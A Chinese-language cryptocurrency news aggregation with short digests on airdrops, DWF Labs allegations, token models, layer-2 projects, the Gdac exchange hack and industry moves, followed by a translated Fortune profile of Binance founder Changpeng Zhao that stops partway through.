解决了扩展性的问题，提升了运行效率，但也存在各 layer2 解决方案之间互操作性不强，流动性割裂的问题。 内容来源  ( 33 min )
    【英文长推】关于空投的策略以及避免空投诈骗的方法
    Chainfeeds 导读： 有人在 2022 年试图取出价值 2,000 美元的空投损失了数百万美元。有人花了 500 美元试图获取空投但一无所获。加密货币 KOL Quivira.Ophir 列举了关于空投的三个核心策略以及避免空投诈骗的方法。 文章来源： https://twitter.com/_quivira/status/1645369082794098690 文章作者： Quivira.Ophir 观点： Quivira.Ophir：1）获取空投并获得结果的策略。策略 1：如果您的钱少于 500 美元，你的重点应该放在有激励的测试网和一两个最大的潜在空投。使用 Twitter/Tweetdeck 并输入诸如「incentivized testnet」、「testnet」、「testnet live」等关键字搜索项目。以低费用专注于最大的潜在空投。策略 2：如果您有 500 - 5,000 美元，关注每一个大的潜在空投，一个月做 1 或 2 次 TX。策略 3：如果你有 5,000 - 100,000 美元，你可以进入完整的开发者模式，找到 Solidity 开发人员帮助部署代币、构建智能合约项目和质押代币。【原文为英文】 内容来源 Quivira.Ophir：2）避免诈骗空投。避免在没有协议本身公告的情况下交易你看到的空投；使用专门用于信誉良好的区块链和其他大型空投的单独钱包。【原文为英文】 内容来源  ( 2 min )
    【英文长推】虚假投资、管理人参与 OneCoin 骗局？起底热门投资机构 DWF Labs
    Chainfeeds 导读： 近期，一家名为 DWF Labs 的机构频繁进行大额投资，引发市场关注。推特用户 Nay 通过对比链上数据，发现其投资数据与链上数据不匹配，且其管理人 Andrei Grachev 与庞氏项目 OneCoin 有关。 文章来源： https://twitter.com/nay_gmy/status/1645426187160924161 文章作者： Nay 观点： Nay：链上数据表明，几乎所有的代币流入 / 稳定币流出数量都与时间和金额相匹配，这意味着这些不是贷款，因此不是标准的做市商交易。他们所有交易的模式是：或者每天一次购买总价 5-10 万美元的交易，或者每次购买高达 500 万美元的大型交易，然后将所有资金存入 CEX。【原文为英文】 内容来源 Nay：自 11 月以来，有 11 个项目披露了 DWF 的投资，大多数没有说明金额。这些交易在许多情况下无法与链上活动匹配，报道的资金超过 1.5 亿美元，只有 6500 万美元在链上得到确认。我认为他们代项目表团队以不低于 X 美元的价格出售代币并预先打款，以获取 delta 收益。许多交易有 10-20% 的折扣，但有些没有。【原文为英文】 内容来源 Nay：DWF 投资后的代币表现普遍不佳。SSV、SNX、TIME、FLOKI 等代币自 DWF 第一次向交易所转账以来，已经亏损了 10% 到 40%。DWF 的官方代表 Andrei Grachev 自 2018 年以来被公开指控经营各种加密货币骗局，包括与价值 40 亿美元的加密货币庞氏骗局 OneCoin 有关系。【原文为英文】 内容来源  ( 2 min )
    【长推】浅析肖风演讲中的「三代币模型」：如何兼顾激励与合规
    Chainfeeds 导读： 昨日，万向区块链董事长兼总经理及 HashKeyGroup 董事长肖风发表主题演讲，涉及行业合规及香港政策问题。火星财经联合发起人 Shang.bit 认为其提出的「三代币模型」，即：功能型代币 + 证券型代币 + NFT 相结合的模式能够平衡团队和投资者的激励平衡问题，也解决了代币发行的合规问题。 文章来源： https://twitter.com/Shang2046/status/1645362449795919875 文章作者： Shang.bit 观点： Shang.bit：三代币模型：1. 功能型代币，完全不融资，只是项目方用来启动市场、激励用户的；2. 证券型代币，代表项目股权，团队拥有，可以稀释股权融资，项目成熟后，通过 STO 代币上市。项目方可以通过用部分盈利来回购功能型代币，以给代币价值托底，项目方也会预留部分功能型代币，作为团队与用户的共同利益。三代币里面的第三种代币是 NFT。 内容来源 Shang.bit：功能型代币的价值除了体现在回购（实质上就是股东让渡部分权益），还有：gas 费燃烧、部分项目投票治理权、领取其他项目代币空投等。功能型代币，都是「送给利益相关者」的，它的价值靠大家一起来创造，项目不成功，也就没那么大伤害了。证券型代币，从一开始就是有估值、有价值的。在项目运行一段时间，相对成型后再公开发行，会更合适。 内容来源 Shang.bit：这样才能解决项目团队和项目早期投资者的激励平衡问题。同时，也解决了代币发行的合规问题。只要代币不融资，就大概率不会被归于证券代币。同时也体现了 WEB3 代币化的优势，先发功能型代币，用来启动市场。功能型代币也可以自己在各大 DEX 上币，无需许可。合规化的双币模型，兼顾激励和利益，方向一下子清晰很多。 内容来源  ( 2 min )
    【英文】新项目前瞻｜Stackr SDK：支持 Web2 编程语言的特定应用程序 Micro-rollups 框架
    Chainfeeds 导读： Stackr Labs 发布 DApp 扩展方案，引入「Micro-rollups」概念，即将 DApp 中的每个功能独立的状态机，由 Stackr 聚合网络收集数据并发布至 L1 链上。Stackr Labs 官方撰文阐述该方案的实现方式、用例及开发规划。 文章来源： https://mirror.xyz/stackrlabs.eth/-yUgGP8EQC120cHlGWqEp-y6c2VeMYRIJ1IhHR5Ulho 文章作者： Stackr Labs 观点： Stackr Labs：Stackr 引入「Micro-rollups」的概念，即 DApp 中的各个功能将作为独立的状态机被开发、优化和维护。开发人员可以使用 Stackr SDK 为应用程序的状态和状态转换功能定义数据结构。Stackr 聚合网络将从应用程序接收交互数据（以及新的状态和元数据），捆绑数据并将其提交到链上，并在 L1 上最终完成。【原文为英文】 内容来源 Stackr Labs：Stackr SDK 非常灵活，允许开发人员使用 Python、JavaScript、Go、C 等编程语言。Stackr Labs 正在开发预构建的状态机和桥接模块，使不同语言的 Micro-rollup 能够轻松交互。【原文为英文】 内容来源  ( 13 min )
    【英文长推】zkSync 官方盘点 5 个生态新项目
    Chainfeeds 导读： zkSync 官方盘点了 5 个生态新项目，其中除 Viva Leverage 外，均以上线 zkSync 主网。 文章来源： https://twitter.com/zksync/status/1645476541844041728 文章作者： zkSync∎ 观点： zkSync∎：全链合成资产协议 SYNTHR 为用户提供无滑点的全链流动性。去中心化的衍生品协议 Deri Protocol 将流动性头寸转化为 NFT，并与其他 DeFi 项目高度兼容。分析协议 Cielo Finance 已经支持 zkSync 网络信息聚合。【原文为英文】 内容来源 zkSync∎：杠杆流动性挖矿协议 Viva Leverage（即将上线 zkSync 主网）为用户提供高资本效率的流动性挖矿。跨链引擎和流动性协议 Symbiosis 提供任意代币的交易和跨链转账。【原文为英文】 内容来源  ( 2 min )
    韩国加密货币交易所 Gdac 被盗近 1300 万美元
    韩国加密货币交易所 Gdac 被盗近 1300 万美元 韩国加密货币交易所 Gdac 遭到黑客攻击，损失近 1300 万美元。黑客窃取了近 61 个比特币（BTC）、350.5 个以太币（ETH）、1000 万个 wemix 代币（WEMIX）和 220,000 个 USDT，占其总托管资产的 23%。Gdac 表示已将黑客攻击事件通知当局，并正在努力追回资金。 内容来源
    Winklevoss 兄弟向 Gemini 提供 1 亿美元贷款
    Winklevoss 兄弟向 Gemini 提供 1 亿美元贷款 据彭博社报道，Gemini 联合创始人 Winklevoss 兄弟最近向 Gemini 提供了 1 亿美元贷款，以在市场低迷时期支持该交易所的业务。据知情人士透露，在提供这笔贷款前，Gemini 曾非正式地向外部投资者寻求融资，但未达成任何协议。在去年 FTX 崩溃后，DCG 旗下加密贷款机构 Genesis 暂停取款，导致 Gemini Earn 贷款产品客户的资金被冻结。作为今年 2 月 DCG 与债权人达成的和解协议的一部分，Gemini 表示将向 Earn 用户提供高达 1 亿美元现金。目前尚不清楚本次 1 亿美元的贷款是否与向 Earn 用户承诺的 1 亿美元有关。 内容来源  ( 2 min )
    MetaMask Portfolio DApp 已支持法币购买加密货币
    MetaMask Portfolio DApp 已支持法币购买加密货币 MetaMask 在 Portfolio DApp 中新增支持法币购买加密货币，该服务覆盖 189 个国家 / 地区的用户，用户可选择通过借记卡、信用卡、PayPal、银行转账或即时 ACH 购买 8 个网络（以太坊、Polygon、Optimism、Arbitrum、BNB Chain、Avalanche Contract Chain、Fantom 和 Celo）上的 90 多种代币。 内容来源  ( 9 min )
    「将 Aave V3 部署至 StarkNet」提案已通过温度检查投票
    「将 Aave V3 部署至 StarkNet」提案已通过温度检查投票 Aave 社区发起的「将 Aave V3 部署至 Starknet」提案以 99.98% 的支持率通过温度检查投票。提案显示，Aave 与 Starknet 的集成计划分两个阶段进行，其中第一阶段为在以太坊和 Starknet 之间为 aTokens 部署跨链桥，该阶段已获得社区投票通过。此次投票为针对第二阶段的温度检查，旨在在 Starknet 上全面部署 Aave 协议。Aave 表示，他们正在与 BGD 团队密切合作，以评估新网络的框架，并将额外进行投票以确认开发时间和拨款。 内容来源
    Coinbase 交易平台负责人 Vishal Gupta 将离职
    Coinbase 交易平台负责人 Vishal Gupta 将离职 据 The Block 报道，Coinbase 交易平台负责人 Vishal Gupta 将退出公司。据其领英主页显示，Gupta 在 Coinbase 工作时间超过两年半，在进入加密行业之前，Gupta 曾在高盛工作。彭博社报道称，他将离开 Coinbase 以从事一个「新项目」。 内容来源  ( 165 min )

  • Open

    Coinbase将Virtua (TVK)列入上币路线图
    PANews 4月11日消息，Coinbase Assets发推表示，已将Virtua (TVK)列入上币路线图。 据悉，Virtua是一个游戏化的元宇宙项目，提供社交、Web3游戏、数字收藏品和互动体验。  ( 1 min )
    Winklevoss兄弟向Gemini提供1亿美元贷款
    PANews 4月11日消息，据彭博社报道，Gemini联合创始人Winklevoss兄弟最近向Gemini提供了1亿美元贷款，以在市场低迷时期支持该交易所的业务。据知情人士透露，在提供这笔贷款前，两兄弟曾非正式地向外部投资者寻求融资，但未达成任何协议。据此前消息，在去年FTX崩溃后，DCG旗下加密贷款机构Genesis暂停取款，导致Gemini Earn贷款产品客户的资金被冻结。作为今年2月DCG与债权人达成的和解协议的一部分，Gemini表示将向Earn用户提供高达1亿美元现金。目前尚不清楚本次1亿美元的贷款是否与向Earn用户承诺的1亿美元有关。  ( 1 min )
    Coinbase市场主管离职，将加入新加密项目
    PANews 4月11日消息，据彭博社报道，据一位知情人士透露，Coinbase市场主管Vishal Gupta将离职，并投身于一个新项目。新项目的具体内容尚不清楚，但Gupta将继续留在加密领域。根据Gupta的领英资料，他在Coinbase任职近三年，负责该交易所的关键产品。在加入Coinbase之前，他在Circle负责推出稳定币USDC。他还曾在高盛任职8年，担任副总裁兼美国上市期权业务主管。除Gupta以外，Coinbase首席产品官Surojit Chatterjee也于今年早些时候离职。  ( 1 min )
    MetaMask“Portfolio Dapp”新增加密货币购买功能
    PANews 4月10日消息，MetaMask宣布“Portfolio Dapp”新增加密货币购买功能，用户只需导航到Dapp中的Buy选项，并连接MetaMask钱包，即可进行购买。目前该功能已支持189个国家/地区的借记卡、信用卡、PayPal和ACH等多种付款方式。用户可在 8 个网络（Ethereum、Polygon、Optimism、Arbitrum、Binance Smart Chain、Avalanche Contract Chain、Fantom 和 Celo）上购买 90 多种代币。  ( 1 min )
    抖音App已支持查询比特币行情数据
    PANews 4月10日消息，经实测，抖音 App 已支持查询比特币行情实时数据。  ( 1 min )
    律师、顾问等在今年2月份向FTX收取约3000万美元的破产费用
    PANews 4月10日消息，据The Block报道，根据破产法庭提交的新赔偿报告，律师、财务顾问、投资银行家和顾问在今年 2 月份向 FTX 收取了大约 2970 万美元的破产费用和另外 407,000 美元的报销费用。FTX 2 月份的 3000 万美元账单略低于其 1 月份的 3800 万美元账单。 据悉，该交易所聘请了 Sullivan & Cromwell 和 Landis Rath & Cobb 律师事务所、管理咨询公司 AlixPartners、金融服务公司 Perella Weinberg Partners、咨询公司 Alvarez & Marsal North America 和 FTX 首席执行官 John Ray III 的 Owl Hill Advisory。据披露，这六家公司 2 月份的总工时超过 35,400 小时。  ( 1 min )
    财富杂志特稿揭秘赵长鹏往事：是什么力量塑造了他？
    作者：JEFF JOHN、ROBERTS、YVONNE LAU 原标题：《The making of Binance’s CZ: An exclusive look at the forces that shaped crypto’s most powerful founder》 编译：郭倩雯、麟奇、谷昱，ChainCatcher 赵长鹏此刻正坐在迪拜家中的书架前，这里和巴黎一样，是他称之为家的地方。视频里的他和蔼可亲，态度温和，甚至十分谦逊。这与其竞争对手最熟悉的形象恰恰相反：他野心勃勃，将币安打造成了世界上最大和最有影响力的加密货币交易所。 他习惯于用不同的面孔与他人打交道。“如果美国人与我打交道，他们会觉得我是亚洲人——比大多数美国人略微多一点亚洲人的特质，但比他们认识的其他亚洲人又少一点亚洲人的特质。如果亚洲人和我打交道，他们会觉得我像美国人，但比他们平日接触的美国人少一点美国人的特质。我算得上是介于两者之间的状态。” 最近，赵长鹏的强硬一面让他遭受严格审查。赵长鹏和币安在策略上制胜对手、玩弄宽松的法规，从而大获成功——每当有国家能够提供最有利的法规时，这位创始人就会在此处安营扎寨，各国政府包括美国都指责币安具有欺骗行为，违反国际制裁和洗钱规则。 币安坚称已改变运营方式，现在合规才是目标；赵长鹏在代言这家改过自新的公司时，展现的总是他说话温和、为人谦卑的另一面。但币安的转变引起人们对赵长鹏的真实面目和他如何建立起业务的疑问——有关赵长鹏背景和币安运营的公开记录十分少见，这让这些问题显得更加尖锐。 对赵长鹏背景的仔细研究填补了其中的许多空白，揭示了币安创始人如何在双重身份中转换——多年来他以强硬手段击败商业对手，又能维持着态度友好的普通人形象。本杂志对他的过去进行详细调查，参考对他熟人的采访和中文媒体的广泛评论，发现了塑造赵长鹏身份的两个世界：他成长时期所在的加拿大；他作为“海龟”回到的中国，他在本世纪前半叶乘着上海崛起的东风，一举站在全球商业的最前沿。 赵长鹏吸收了两地的经验，既掌握了许多中国科技界早期疯狂时期盛行的残酷商业策略，同时保留了加拿大人那种漫不经心、不具威胁的性格——这种行为转移了人们对其战术的关注。 直到最近，赵长鹏还经常对加密货币和商业媒体发表讲话，但在过去几个月里，他已经完全减少了这种露面的次数——因为监管环境令人忧心忡忡，同时币安认为媒体对公司和赵长鹏进行歪曲报道。此次他打破一如既往的缄默，接受了《财富》杂志的采访，分享了许多以前没有报道过的生活细节。本次采访提供了赵长鹏经营业务的第一手资料，认为他的成功与中国侨民群体的发展趋势吻合，并将解读他智慧但性情冷淡的父亲如何影响币安作为加密货币巨头的出现。 Keremeos Court建筑是一系列整齐的家庭联排别墅，除了环境令人耳目一新，它的其他方面并不引人注目。这些住宅被由味道浓烈的雪松和蕨类植物组成的巨大雨林环绕，是不列颠哥伦比亚大学2000英亩校园的一部分，校园位处温哥华的最西边，紧邻太平洋。 1989年，12岁的赵长鹏与母亲和妹妹来到这里，与他的父亲会合。赵长鹏说父亲一生爱书，即使下乡期间仍然坚持学习，父亲在学术上持之以恒，最终在加拿大找到一个研究地球物理学的博士项目，几年后他带着家人来到UBC和他一起学习。 赵长鹏在温哥华的拉德纳钟楼前，由父亲摄于1989年左右。照片由赵长鹏提供 这里的环境与赵长鹏幼年时的乡村完全不通。在江苏省，学校与教室稀缺，教室里摆放着朴素的石桌——这在资源匮乏的农村地区十分常见，冬天时学习更是难上加难。像他的父亲一样，赵长鹏了解中国的贫困和匮乏，也意识到学术可以成为避难处。10岁时，他们一家离开乡村，搬往中国的一个小城市合肥，也是中国科技大学的所在地。 在这片知识绿洲中，赵长鹏会坐下来听高年级学生之间辩论，他们有时会让他下棋。“赵长鹏回忆道，“那些人教我如何下象棋、如何下围棋。他们谈论校园里不同的事情，甚至谈论政治。我认为与比你大七到十岁的人呆在一起，确实[使]你思考问题的方式与你这个年龄段的孩子略有不同。” 当赵长鹏一家来到不列颠哥伦比亚省时，他们从世界上最古老的文明之一搬到了世界上最年轻的国度之一。温哥华于19世纪70年代建立，除了原住民社区外，很少有人踏足此处。这座城市很快成为门户，连接从中国到加拿大的货物和人员流动——几十年来，它是反华种族主义的据点。这种偏见的表现包括臭名昭著的“人头税”，以阻止中国男人把妻子带到加拿大，即使是他们建造了该国的铁路和温哥华市的大部分地区。UBC的历史学家和中国移民学者Henry Yu说：“尽管[温哥华]一直有中国人，但他们像哈利波特一样住在楼梯下。他们是仆人，而不是房主。” 但是，到了20世纪80年代，政府已经完全改变态度。加拿大为了振兴和多元化发展以自然资源为基础的经济，开始吸引它曾轻视的太平洋彼岸的移民。该计划包括为那些投资40万加元的人提供签证，吸引像赵长鹏父亲这样的学者。渥太华打算向雄心勃勃的中国人发出信号：“如果你想在全球经济中获得成功，加拿大正为商业敞开大门。” 反亚裔情绪在温哥华仍然存在，亚裔在社区的某些地方会仍十分不受欢迎，但赵长鹏并不经常遭遇种族主义。他就读的高中由各族裔学生组成，其中大部分人与大学有联系。不过，赵长鹏在一些关键方面与他的同学们不同。他回忆说，尽管有几十个其他亚洲学生，但他是仅有的两个来自中国大陆的学生之一。大多数人来自更富裕的香港和台湾，他们和赵长鹏不同，并不居住在为研究生和校园工作人员保留的简陋房屋中。 赵长鹏回忆起自己的家庭和其他学生之间存在巨大的贫富差距，以及讲中文的富裕移民群体中存在的区别。他说：“香港的孩子们更喜欢品牌，时尚品牌、跑车等等。台湾人，虽然都非常富有......但是有一种更谦逊的态度，我和他们相处得更好。我从台湾家庭学到很多谦逊的价值观。” 如今，币安及其BNB代币享有的高估值意味着赵长鹏身价数十亿，但他至少在公开场合仍然保持着“谦卑的价值观”。与加密货币群体中更令人生厌的人相比——有些人买了不会开的兰博基尼并告诉加密货币怀疑论者“享受贫穷的乐趣”——赵长鹏从未展现过浮夸的一面。 在温哥华，他的母亲从事缝纫工作，父亲开着一辆破旧的达特桑汽车，赵长鹏经常乘坐朋友父母的宝马车来回于排球比赛，他是排球队的队长。在他的记忆中，唯一的大笔开销是父亲花了7000加元——这在当时是一个惊人的数字，买了一台IBM兼容的286电脑，父亲用它来做研究，同时也教儿子如何编程。如果你想从赵长鹏的早期生活中一窥他将成为亿万富翁的线索，这可能就是一个。他从被别人称为天才的父亲那里学习，这在赵长鹏以后的生活中至关重要，因为他建立的技术将为币安提供动帮助。赵长鹏说，“我的父亲是技术方面的导师。” 大约1990年在温哥华，赵长鹏在使用他的第一台电脑，照片由赵长鹏提供 在高中时，他的一些更富裕的朋友开始工作，主要是为了寻求新鲜感，或是因为他们的父母想让他们了解工作的严酷。赵长鹏是唯一几个靠工作可以维持生计的学生之一。这包括夏天在雪佛龙公司通宵值班，并在麦当劳工作了两年。在他后来成为加密货币大亨的生活中，有人以赵长鹏在快餐连锁店工作的经历取乐。但是，与一些出身贫寒的富人不同，赵长鹏从未将自己与曾经所处的工人阶级保持距离，甚至转发自己穿着麦当劳服装的图片。 总的来说，赵长鹏把他的高中时代描绘得很愉快，甚至将其形容为田园诗般的生活。他很享受担任排球队队长和参加加拿大全国数学竞赛的四年。他从一位体育老师那里得到了“冠军”的绰号。赵长鹏的高中朋友Ted Lin说，这个名字很可能是由于学校里的许多人都在不会发“长鹏”的读音。赵长鹏只是在进入加密世界后，才采用了他现在的名字赵长鹏。他说，他早些时候曾尝试使用“CP”这个名字，但网上的朋友告诉他这是非法市场上“儿童色情”（child porn）的简称后，他放弃了这个名字。 尽管他对温哥华（他说他想在那里退休）和加拿大很有好感，但他的一些行为却掩盖了他所宣称的好感。他承认，他已经多年没有踏足这个城市，而且他在那里没有任何积极的家庭或慈善方面的联系。尽管如此，赵长鹏坚持认为，他是加拿大人，不仅是因为他的护照信息，而且是因为他的性格。他说：“我像一个加拿大人一样思考。我们是善良的人，没有侵略性，不会过度竞争，一般都乐于助人。” 他对加拿大（这个他长大的地方）予以温暖评价，因为他在此受益颇多——但这与后来使他成为亿万富翁、加密货币后取得的成就相比，算是小巫见大巫。 截至4月初，赵长鹏在彭博社的亿万富翁名单上排名第46位，净资产为290亿美元（赵长鹏称这个数字“不准确”“考虑所有的波动，很难估计“）。他的名字每天都出现在新闻中。去年秋天，许多媒体集中报道了他在FTX进行的大胆加密货币交易，使他的竞争对手Sam Bankman-Fried覆灭；最近的报道则关于币安和监管机构之间因赵长鹏玩弄规则导致冲突不断。虽然很多不墨守陈规的科技企业家在大学时代就展示了他们大胆、挑衅的特质——想想《社交网络》中描绘的扎克伯格，但这似乎并不是赵长鹏的情况。 1995年完成高中学业后，赵长鹏搬到了3000英里外的麦吉尔大学，离开气候温和的温哥华，来到讲法语的蒙特利尔，这个地方的冬天非常寒冷，市中心的大部分地方都由地下隧道连接。根据赵长鹏的说法，他在麦吉尔大学没有什么突出的学术或社会表现，尽管他把专业从生物转到了计算机科学，因为“在高中，生物是和人类打交道的。在大学里，关注点又回到动物身上，我对此没有兴趣。”在空闲时间，他去滑旱冰或和朋友一起去吃越南粉，在校园的计算机实验室里玩到很晚，把代码敲进初级的苹果台式电脑。 赵长鹏在蒙特利尔麦吉尔大学的第一个住所 在麦吉尔大学学习的末期，赵长鹏确实公开显示出他后来在职业生涯中表现出的才华，1999年他与教授Jeremy Cooperstock托克共同撰写了一篇关于人工智能的学术论文——这个话题20年后才变得广受关注。坐在蒙特利尔的一家咖啡馆里，Jeremy Cooperstock说他对赵长鹏记忆深刻，部分原因是因为赵长鹏是他研究生研讨会上唯一的本科生。他和我说“这不会带来很好的报酬，但能给他带来很好的经验”。在他的记忆中，赵长鹏是一个有个性的人，他非常聪明，但多年后他惊讶地发现他的前学生已经成为亿万富翁。 赵长鹏说，在这段时间里，他读了一些改变他生活的东西——不是学术论文，也不是像《阿特拉斯耸耸肩》那样的长篇大论，而是一部针对典型中产阶级、普通人的读物：《富爸爸，穷爸爸》。这本出版于1997年的个人理财畅销书用寓言故事讲述了两个父亲的故事——一个是努力工作了一辈子却没有什么收获的父亲，另一个是作为企业家或投资者而致富的父亲。这本书让赵长鹏对自己父亲建议产生了怀疑。那时，他已经完成了自己的博士学位，在私营部门工作，在接下来的20年里，他将获得专业上的尊重，但不会拥有多少物质财富。 “我父亲一直教导我去努力工作，找一份体面的工作，我的父母都有这种心态。他们不喜欢做生意。我读了《富爸爸，穷爸爸》之后，我开始想，也许我想拥有一家企业。这并不是说我一定要当CEO，而是创造一些有意义的业务。” 当赵长鹏的想法转向创造财富时，他确实做出了一个与扎克伯格和其他天才亿万富翁一样的选择：从大学辍学。2000年，他在东京证券交易所的暑期实习中转正，并决定不再回到麦吉尔大学。(许多媒体报道说赵长鹏是麦吉尔大学的毕业生，但这是不准确的）。 他的数学和写代码能力很快使他在金融之都纽约找到工作，在那里他为彭博交易公司开发了期货交易软件。但四年后，即使是纽约也无法与当时全球最热的商业中心上海相提并论，于是，赵长鹏搬到了中国——上次踏上这片土地，还是十多年前。 英属哥伦比亚大学研究中国移民问题的社会工作教授 Miu Chung Yan 说，位于中国繁荣的东南沿海的上海是当时驱动中国经济引擎的“火车头”。2005年，也就是赵长鹏搬到上海的那年，该市成为全球第三繁忙的集装箱航运港口，仅次于香港和新加坡；同时，它连续第14年实现了11%的GDP增长。中国正在崛起，上海正处于这一切的中心。 关键的是，赵长鹏在上海的早期正值中国科技的黄金时代，国内科技公司和行业领袖正在飞速崛起。李彦宏、马云和马化腾在千禧年之初创立了他们的公司，正在经历着投资和发展的爆炸式增长。 赵长鹏说：“我被教导要去正在发展的地方，而不是已经建立起来的地方。” 他并非唯一回到上海的年轻加拿大人。上世纪90年代加拿大严重的经济衰退刺激了 2000 年代中期激增的逆向移民。像赵长鹏这样的回归者被称为“海归”，这是一个中国双关语，表示移民海外但又回到中国的人。据一项研究估计，截至2017年，近50万海归从加拿大和世界各地抵达中国。 对赵长鹏和其他像他这样的人来说，时机再好不过了。Miu Chung Yan表示，会说英语、受过西方教育且精通中国语言和文化的海归在中国受到热烈欢迎，相较于当地同龄人，他们的薪水更高。 然而，尽管赵长鹏来到了一个渴望接纳他、他能说当地语言的城市，他坦言，在中国快速、激烈、自由奔放的商业环境中，难以应对模糊的规则和法规。他回忆说：“我不了解商业文化，不得不从头学起。”在纽约、东京和温哥华，以规则为基础的企业和平等主义理念盛行，对赵长鹏来说，关系的关键性，尤其是与可能成为支持者的国家官员的关系，显得很陌生。在营造这些商业关系时，酒精在中国文化中具有特殊地位。白酒这种烈性中国酒常常在商业谈判中出现，表达善意和尊重。 赵长鹏说：“我读过关于它的书，听过关于它的传闻。但你知道，当你真正去做生意，在与政府官员的晚宴上，他们喝白酒……他们谈论关系，有时还有其他事情需要照顾，这些对我来说都很陌生，所以我从来不太喜欢这种做法。” 尽管如此，赵长鹏在上海迅速发家致富。2005年，他与其他四名外籍人士共同创立了Fusion Systems，一家提供高频交易系统的软件即服务（SaaS）公司，并与高盛和瑞士信贷等全球最大银行达成合作。在此期间，他迅速学会了规则——在中国，他说，规则是“故意模糊的”，这赋予了政府在解释和选择性执法方面的巨大权力。这位新晋企业家发挥了自己的数学和编码能力，但他在公司的角色也教会了他如何“像销售员一样思考”，因为他利用海归身份在东西方之间充当经纪人。作为一名初级合伙人和唯一“看上去像中国人……在中国环境中”的人，赵长鹏一直在考虑“如何推销公司服务？如何获得下一个合同？” 然后——正如关于赵长鹏传说，2013年一个深夜的扑克游戏改变了他的人生轨迹。在这场游戏中，中国顶级比特币传教士 Bobby Lee（李启元） 和受过美国教育的中国风险投资家 Ron Cao （曹大容）向赵长鹏介绍了加密货币。赵长鹏全力以赴。他卖掉了自己在上海的公寓，投资100万美元购买比特币。这位未来的亿万富翁离开了Fusion Systems，首先加入了加密货币创业公司Blockchain.info——早期主要作为跟踪比特币交易的网站——担任技术负责人。一年后，他被聘为中国交易所和代币创业公司OKCoin的首席技术官。 OKCoin是赵长鹏锻炼自己成为大胆的公共加密货币人物的战场，他毫不畏惧地参与公开的战斗。起初，赵长鹏在Reddit等平台上与公众互动，这在CTO中并不多见，他在这些论坛上礼貌但坚定地反驳对OKCoin和加密货币的批评。然而，2015年，赵长鹏与OKCoin首席执行官徐明星因公司的发展方向产生争执，他离开了公司，转而在相同的平台上撤回了之前的声明，并抨击了他的前雇主。 在一篇长达1600字的Reddit帖子中，赵长鹏详细介绍了在徐明星的指导下，公司利用机器人提高交易量、伪造准备金证明和不透明财务的情况。作为回应，徐明星指责赵长鹏伪造学术资历并进行其他欺诈行为。虽然争执最终平息，但这表明赵长鹏在争论中愿意猛烈出击，同时也使得中国对新兴加密货币行业的监管愈发严格。 赵长鹏与他的下一家公司Bijie Technology（比捷科技）的争议和边界推进更进一步。Bijie Technology是另一家SaaS公司，为交易所和交易平台提供软件。在接下来的两年里，Bijie的技术成为了30家中国交易所的基石，后来还成为了币安的动力来源。 然而，麻烦很快出现，因为赵长鹏的技术所支持的大部分交易所都涉及“邮币卡”交易——中国帝国时代和革命时期的邮票，这引发了一场郁金香式的狂热。随着邮币卡狂热的蔓延，邮票交易的线上交易所和可疑的卖家如雨后春笋般冒出。所谓的“邮票老师”和“财富顾问”诱使毫无戒心的投资者加入QQ和微信等消息平台上的投资聊天室，在那里他们建议投资者通过数字交易所购买邮票和收藏品的股份，承诺会有超高回报。但许多都是蓄意操纵和抛售的骗局。根据中国国有报纸《证券时报》2016年的一项调查，普通投资者（尤其是老年中国人）损失了数亿元人民币，其中一些人甚至失去了他们的全部养老金。 赵长鹏与邮票诈骗没有直接关系，但他的技术可以说助长了这种诈骗的繁荣。更重要的是，这种猖獗的狂热使当局高度警惕：中国政府迅速制定了新规，限制了奖励违规和冒险行为的数字平台的无节制增长，对数字金融创新的怀疑也更甚。2017年1月，国家下令邮票和收藏品交易所整顿或关闭；到当年8月，这些交易所的运营被叫停。Bijie的大部分客户都倒闭了。 与此同时，赵长鹏的雄心开始寻找其他出路。2017年，加密货币价格的大幅上涨吸引了数百万新投资者进入这个领域。赵长鹏看到了这个行业的领导者，总部位于旧金山的Coinbase从中获利。他看到了一个机会，并于当年7月在上海创立了自己的交易所——币安。 短短一年时间，币安凭借其优质的交易平台、全球客户群和几乎无管制的监管政策，超越Coinbase成为全球最大的交易平台。不久之后，该公司成为首家推出自己区块链的交易所——这是一个技术上的壮举。客户可以通过交易获得代币奖励，币安还增加了交易数百种数字资产的能力，包括那些来源不明的货币。这些策略帮助币安从Coinbase和其他竞争对手那里抢占客户，公司的低廉交易费和在审查客户方面提出的少量或零问题的政策也起到了作用。 到现在为止，赵长鹏显然已经适应了亚洲更快更猛烈的商业规则，这使得与北美公司竞争相对而言就像是小儿科。在《加密货币之王》一书中，一位亚裔美国企业家嘲笑那些惊叹币安突然崛起的媒体：“这里发生的事情是傲慢和偏袒西方市场崛起的公司。亚洲并不在Coinbase的基因中。我看到了他们无法弥补的文化鸿沟。” 然而，尽管取得了巨大成功，币安在中国的时间已经所剩无几。早在2013年，中国就首次限制银行处理加密货币交易。为了遏制资本外流、打击金融诈骗以及更紧密地控制国家金融体系，2017年9月，中国当局禁止了首次代币发行（ICOs），并开始关闭加密货币交易所。为应对这一举措，赵长鹏在几周内秘密而紧张地将200多个阿里巴巴服务器上托管的数据迁移到亚马逊网络服务和其他位于“防火长城”之外的服务器。这项工作取得了成功，赵长鹏和其他币安员工迁往了东京，结束了他在中国作为企业家的12年生涯。 从某种程度上说，离开中国对币安及其创始人赵长鹏的长远利益有所帮助。多年来，赵长鹏及其公司一直受到美国竞争对手的影响，他们将币安描述为与北京政府结盟。这样的联盟将使赵长鹏与美国监管机构的关系更加困难，尤其是在中美关系紧张的时期。多年来，该公司一直被指控故意掩盖其中国血统和在华业务活动，币安对这些指控予以否认。 然而，对于一个更喜欢在政府监管之外运营的公司和创始人来说，没有一个国家能长期容纳他们。币安在日本的停留时间很短。2018年，骗子利用伪造的谷歌广告欺骗客户输入他们的币安登录信息，然后清空他们的帐户。币安并未直接对损失负责，但这一丑闻导致日本监管机构要求币安注册为交易所，这对赵长鹏来说是一个不合适的选择。于是，赵长鹏决定将他的加密帝国迁移到马耳他，当时的总理约瑟夫·穆斯卡特（Joseph Muscat）愿意欢迎所有与加密货币有关的事物，不会提任何其它问题。 